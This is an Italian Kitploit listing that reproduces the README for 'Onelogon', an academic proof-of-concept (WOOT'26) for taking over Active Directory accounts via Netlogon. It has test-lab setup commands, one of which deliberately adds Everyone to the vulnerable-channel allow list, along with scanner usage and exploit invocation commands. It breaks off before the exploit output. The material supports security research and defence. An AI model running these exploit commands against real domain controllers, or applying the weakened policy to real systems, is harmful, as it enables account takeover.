Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
onelogon — Codice e dati per il nostro articolo "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26). | Kitploit
Strumenti/GitHubGitHub/rub-softsec/onelogon
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingAutenticazionePaper e Ricerca
GitHubrub-softsec/onelogon

onelogon

Codice e dati per il nostro articolo "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).

Vedi Repository
11821121 mese faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Onelogon: Compromissione degli account Active Directory tramite Netlogon

Questo repository contiene il codice e i dati che accompagnano il nostro articolo Onelogon: Compromissione degli account Active Directory tramite Netlogon (WOOT'26).

  1. Contesto
  2. Come citare
  3. Struttura e configurazione dell'artefatto
  4. Configurazione di un ambiente di test
  5. Analisi di configurazioni vulnerabili
  6. Exploit
  7. Riproduzione delle misurazioni

Contesto

La vulnerabilità descritta nel nostro articolo attacca una debolezza della patch crittografica del 2020 per la vulnerabilità Zerologon. Gli account elencati in un criterio di gruppo inteso a consentire il supporto a configurazioni legacy che non supportano la firma e la sigillatura (signing and sealing) di Netlogon sono vulnerabili a questo attacco. Una descrizione dettagliata della vulnerabilità, della catena d'attacco completa prevista e delle possibili mitigazioni è disponibile nell'articolo.

Come citare

@inproceedings{woot2026-onelogon,
  title     = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
  author    = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
  booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
  date      = {2026-08},
  editor    = {Bianchi, Antonio and Classen, Jiska},
  location  = {Baltimore, MD, USA},
  publisher = {USENIX Association}
}

Struttura e configurazione dell'artefatto

L'artefatto consiste in un progetto Python poetry per lo scanner e gli exploit.

Per eseguire gli script forniti con l'artefatto, installare Python (3.12 o successivo) e uno tra poetry (istruzioni) oppure uv (istruzioni). Per semplicità, riportiamo i comandi assumendo che tu stia usando poetry; se scegli di usare uv, sostituisci semplicemente ogni occorrenza di poetry con uv.

Tutti i comandi di questo documento vanno eseguiti nella directory principale dell'artefatto (dove si trova questo README).

Se usi poetry, esegui poetry install per installare tutte le dipendenze.

Configurazione di un ambiente di test

Per riprodurre i risultati dell'articolo, puoi configurare un Domain Controller (controllore di dominio) usando una versione di Windows Server con Zerologon corretto (abbiamo verificato l'exploit sia sulle versioni 2019 che 2025).

Per configurare il Domain Controller su una nuova installazione di Windows Server 2025, esegui i seguenti comandi:

# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart

# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"

# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true

La vulnerabilità si applica a qualsiasi account elencato nel DACL dell'oggetto Criteri di gruppo Domain Controller: Allow vulnerable Netlogon secure channel connections o nella corrispondente chiave di registro:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList

Puoi configurare manualmente questi parametri sul Domain Controller (ricorda di eseguire gpupdate /force se aggiorni la voce GPO), oppure eseguire il comando seguente per aggiungere tutti gli account al DACL nella chiave di registro:

Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
                    -Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
                    -ValueName "VulnerableChannelAllowList" `
                    -Type String `
                    -Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone

Analisi di configurazioni vulnerabili

Per determinare quali account un Domain Controller elenca nel suo VulnerableChannelAllowList, forniamo uno scanner che analizza l'hive del registro e la condivisione del volume GPO del Domain Controller. Nota: accedere al registro per questa scansione richiede privilegi di amministratore di dominio (l'exploit, ovviamente, non li richiede).

# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>

# Specify `--help` to get additional usage instructions.
poetry run scan --help

Un risultato di scansione positivo (ci sono account vulnerabili sul Domain Controller) mostrerà il descrittore di sicurezza contenente gli account vulnerabili (nel linguaggio di definizione dei descrittori di sicurezza di Microsoft):

~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
    'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
    O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)

Un risultato negativo (il DC target non è vulnerabile) apparirà invece così:

~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
    - The system cannot find the file specified.

Exploit

Per eseguire l'exploit proof-of-concept contro un Domain Controller target, seleziona prima un account vulnerabile. Ti serviranno l'indirizzo IP del Domain Controller, il suo nome host e il nome dell'account vulnerabile.

Nella nostra configurazione di esempio, il Domain Controller vulnerabile si chiama DC. Il suo account macchina (DC$) è incluso nei criteri GPO e quindi è vulnerabile a Onelogon.

# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>

# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>
Output di un exploit riuscito

A titolo illustrativo, forniamo l'output di una esecuzione riuscita dell'attacco meet-in-the-middle contro un ambiente di test:

Scarica lo strumento